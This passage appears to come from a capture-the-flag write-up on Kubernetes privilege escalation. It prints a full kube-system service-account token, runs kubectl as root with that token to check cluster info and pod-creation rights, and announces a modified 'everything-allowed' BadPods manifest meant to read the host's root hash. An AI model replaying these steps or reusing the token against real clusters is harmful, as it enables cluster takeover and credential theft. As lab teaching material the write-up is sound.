Data ==== ca.crt: 1066 bytes namespace: 11 bytes token: eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow
Let’s list the info of the token.
1 2 3 4 5 6
root@devnode-deployment-cd86fb5c-6ms8d:/tmp# ./kubectl --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow cluster-info <579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow cluster-info Kubernetes control plane is running at https://10.96.0.1:443 KubeDNS is running at https://10.96.0.1:443/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy
To further debug and diagnose cluster problems, use 'kubectl cluster-info dump'
Let’s check if we create pods or not if we can create pods we can use BadPods.
1 2 3
root@devnode-deployment-cd86fb5c-6ms8d:/tmp# ./kubectl --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow auth can-i create pod <d4JBQQYrpm6Wdm9tjbOyGL9KRsNow auth can-i create pod yes
Yes we can create pods now let’s create a BadPods. where everything is allowed with the help of BadPods.
Bad Pod #1: Everything allowed
everything-allowed-exec-pod.yaml
I modify the everything-allowed-exec-pod.yaml file to get the root hash and save the file as luci.yaml.